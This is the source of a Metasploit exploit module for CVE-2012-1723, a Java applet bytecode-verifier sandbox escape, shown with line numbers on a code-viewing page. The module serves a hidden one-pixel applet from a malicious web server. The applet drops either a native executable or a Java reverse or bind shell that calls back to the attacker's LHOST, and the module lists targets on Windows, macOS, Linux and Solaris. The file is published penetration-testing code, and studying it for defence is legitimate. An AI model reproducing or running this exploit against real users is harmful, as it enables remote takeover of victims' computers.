Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.

1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5

6
class MetasploitModule < Msf::Exploit::Remote
7
  Rank = ExcellentRanking
8

9
  include Msf::Exploit::Remote::HttpServer::HTML
10
  include Msf::Exploit::EXE
11

12
  include Msf::Exploit::Remote::BrowserAutopwn
13
  autopwn_info({ :javascript => false })
14

15
  def initialize( info = {} )
16
    super( update_info( info,
17
      'Name'           => 'Java Applet Field Bytecode Verifier Cache Remote Code Execution',
18
      'Description'    => %q{
19
          This module exploits a vulnerability in HotSpot bytecode verifier where an invalid
20
        optimization of GETFIELD/PUTFIELD/GETSTATIC/PUTSTATIC instructions leads to insufficient
21
        type checks. This allows a way to escape the JRE sandbox, and load additional classes
22
        in order to perform malicious operations.
23
      },
24
      'License'        => MSF_LICENSE,
25
      'Author'         =>
26
        [
27
          'Stefan Cornelius',      # Discoverer
28
          'mihi',                  # Vuln analysis
29
          'littlelightlittlefire', # metasploit module
30
          'juan vazquez',          # merged code (overlapped)
31
          'sinn3r'                 # merged code (overlapped)
32
        ],
33
      'References'     =>
34
        [
35
          ['CVE', '2012-1723'],
36
          ['OSVDB', '82877'],
37
          ['BID', '52161'],
38
          ['URL', 'http://schierlm.users.sourceforge.net/CVE-2012-1723.html'],
39
          ['URL', 'http://www.oracle.com/technetwork/topics/security/javacpujun2012-1515912.html'],
40
          ['URL', 'https://bugzilla.redhat.com/show_bug.cgi?id=829373'],
41
          ['URL', 'http://icedtea.classpath.org/hg/release/icedtea7-forest-2.1/hotspot/rev/253e7c32def9'],
42
          ['URL', 'http://icedtea.classpath.org/hg/release/icedtea7-forest-2.1/hotspot/rev/8f86ad60699b']
43
        ],
44
      'Platform'       => %w{ java linux osx solaris win },
45
      'Payload'        => { 'Space' => 20480, 'BadChars' => '', 'DisableNops' => true },
46
      'Targets'        =>
47
        [
48
          [ 'Generic (Java Payload)',
49
            {
50
              'Platform' => ['java'],
51
              'Arch' => ARCH_JAVA
52
            }
53
          ],
54
          [ 'Windows x86 (Native Payload)',
55
            {
56
              'Platform' => 'win',
57
              'Arch' => ARCH_X86
58
            }
59
          ],
60
          [ 'Mac OS X PPC (Native Payload)',
61
            {
62
              'Platform' => 'osx',
63
              'Arch' => ARCH_PPC
64
            }
65
          ],
66
          [ 'Mac OS X x86 (Native Payload)',
67
            {
68
              'Platform' => 'osx',
69
              'Arch' => ARCH_X86
70
            }
71
          ],
72
          [ 'Linux x86 (Native Payload)',
73
            {
74
              'Platform' => 'linux',
75
              'Arch' => ARCH_X86
76
            }
77
          ],
78
        ],
79
      'DefaultTarget'  => 0,
80
      'DisclosureDate' => '2012-06-06'
81
    ))
82
  end
83

84

85
  def exploit
86
    # load the static jar file
87
    path = File.join( Msf::Config.data_directory, "exploits", "CVE-2012-1723.jar" )
88
    fd = File.open( path, "rb" )
89
    @jar_data = fd.read(fd.stat.size)
90
    fd.close
91

92
    super
93
  end
94

95

96
  def on_request_uri( cli, request )
97
    data = ""
98
    host = ""
99
    port = ""
100

101
    if not request.uri.match(/\.jar$/i)
102
      if not request.uri.match(/\/$/)
103
        send_redirect( cli, get_resource() + '/', '')
104
        return
105
      end
106

107
      print_status("Sending #{self.name}")
108

109
      payload = regenerate_payload( cli )
110
      if not payload
111
        print_error("Failed to generate the payload." )
112
        return
113
      end
114

115
      if target.name == 'Generic (Java Payload)'
116
        if datastore['LHOST']
117
          jar  = payload.encoded
118
          host = datastore['LHOST']
119
          port = datastore['LPORT']
120
          vprint_status("Sending java reverse shell")
121
        else
122
          port = datastore['LPORT']
123
          host = cli.peerhost
124
          vprint_status( "Java bind shell" )
125
        end
126
        if jar
127
          print_status( "Generated jar to drop (#{jar.length} bytes)." )
128
          jar = Rex::Text.to_hex( jar, prefix="" )
129
        else
130
          print_error("Failed to generate the executable." )
131
          return
132
        end
133
      else
134

135
        # NOTE: The EXE mixin automagically handles detection of arch/platform
136
        data = generate_payload_exe
137

138
        print_status("Generated executable to drop (#{data.length} bytes)." )
139
        data = Rex::Text.to_hex( data, prefix="" )
140

141
      end
142

143
      send_response_html( cli, generate_html( data, jar, host, port ), { 'Content-Type' => 'text/html' } )
144
      return
145
    end
146

147
    print_status("Sending jar")
148
    send_response( cli, generate_jar(), { 'Content-Type' => "application/octet-stream" } )
149

150
    handler( cli )
151
  end
152

153
  def generate_html( data, jar, host, port )
154
    jar_name = rand_text_alpha(rand(6)+3) + ".jar"
155

156
    html  = "<html><head></head>"
157
    html += "<body>"
158
    html += "<applet archive=\"#{jar_name}\" code=\"cve1723.Attacker\" width=\"1\" height=\"1\">"
159
    html += "<param name=\"data\" value=\"#{data}\"/>" if data
160
    html += "<param name=\"jar\" value=\"#{jar}\"/>" if jar
161
    html += "<param name=\"lhost\" value=\"#{host}\"/>" if host
162
    html += "</applet></body></html>"
163
    return html
164
  end
165

166
  def generate_jar()
167
    @jar_data
168
  end
169
end
170

171

172